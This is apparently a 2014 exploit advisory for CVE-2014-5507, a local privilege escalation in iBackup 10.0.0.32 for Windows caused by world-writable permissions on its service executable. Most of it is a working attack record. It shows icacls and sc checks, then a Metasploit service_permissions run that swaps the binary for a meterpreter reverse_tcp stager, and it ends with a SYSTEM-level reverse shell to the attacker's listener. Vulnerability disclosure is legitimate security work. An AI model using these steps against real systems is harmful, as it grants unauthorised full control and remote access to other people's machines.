iBackup 10.0.0.32 - Privilege Escalation

# Exploit Title: iBackup <= 10.0.0.32 Local Privilege Escalation

# Date: 23/01/2014

# Author: Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>

# Version: 10.0.0.32

# Vendor: IBackup

# Vendor URL: https://www.ibackup.com/

# CVE-2014-5507





Vulnerability Details

There are weak permissions for IBackupWindows default installation where everyone is allowed to change 

the ib_service.exe with an executable of their choice. When the service restarts or the system reboots

the attacker payload will execute on the system with SYSTEM privileges.





C:\Users\0x414141>icacls "C:\Program Files\IBackupWindows\ib_service.exe"

C:\Program Files\IBackupWindows\ib_service.exe Everyone:(I)(F)

                                               NT AUTHORITY\SYSTEM:(I)(F)

                                               BUILTIN\Administrators:(I)(F)

                                               BUILTIN\Users:(I)(RX)



Successfully processed 1 files; Failed processing 0 files





C:\Users\0x414141>sc qc IBService

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: IBService

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : "C:\Program Files\IBackupWindows\ib_service.exe"

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : IBackup Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem







msf exploit(service_permissions) > sessions 



Active sessions

===============



  Id  Type                   Information                    Connection

  --  ----                   -----------                    ----------

  1   meterpreter x86/win32  0x414141-PC\0x414141 @ 0x414141-PC  192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)







msf exploit(service_permissions) > show options 



Module options (exploit/windows/local/service_permissions):



   Name        Current Setting  Required  Description

   ----        ---------------  --------  -----------

   AGGRESSIVE  true             no        Exploit as many services as possible (dangerous)

   SESSION     1                yes       The session to run this module on.





Payload options (windows/meterpreter/reverse_tcp):



   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)

   LHOST     192.168.0.100    yes       The listen address

   LPORT     4444             yes       The listen port





Exploit target:



   Id  Name

   --  ----

   0   Automatic





msf exploit(service_permissions) > exploit 



[*] Started reverse handler on 192.168.0.100:4444 

[*] Meterpreter stager executable 15872 bytes long being uploaded..

[*] Trying to add a new service...

[*] No privs to create a service...

[*] Trying to find weak permissions in existing services..

[*] IBService has weak file permissions - C:\Program Files\IBackupWindows\ib_service.exe moved to C:\Program Files\IBackupWindows\ib_service.exe.bak and replaced.

[*] Restarting IBService

[*] Could not restart IBService. Wait for a reboot. (or force one yourself)



Upon Reboot or Service Restart



[*] Sending stage (770048 bytes) to 192.168.0.102

[*] Meterpreter session 2 opened (192.168.0.100:4444 -> 192.168.0.102:14852) at 2014-07-21 00:52:36 +0300

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > background 

[*] Backgrounding session 2...



msf exploit(service_permissions) > sessions -l



Active sessions

===============



  Id  Type                   Information                       Connection

  --  ----                   -----------                       ----------

  1   meterpreter x86/win32  0x414141-PC\0x414141 @ 0x414141-PC  192.168.0.100:8443 -> 192.168.0.102:1158 (192.168.0.102)

  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ 0x414141-PC  192.168.0.100:4444 -> 192.168.0.102:14852 (192.168.0.102)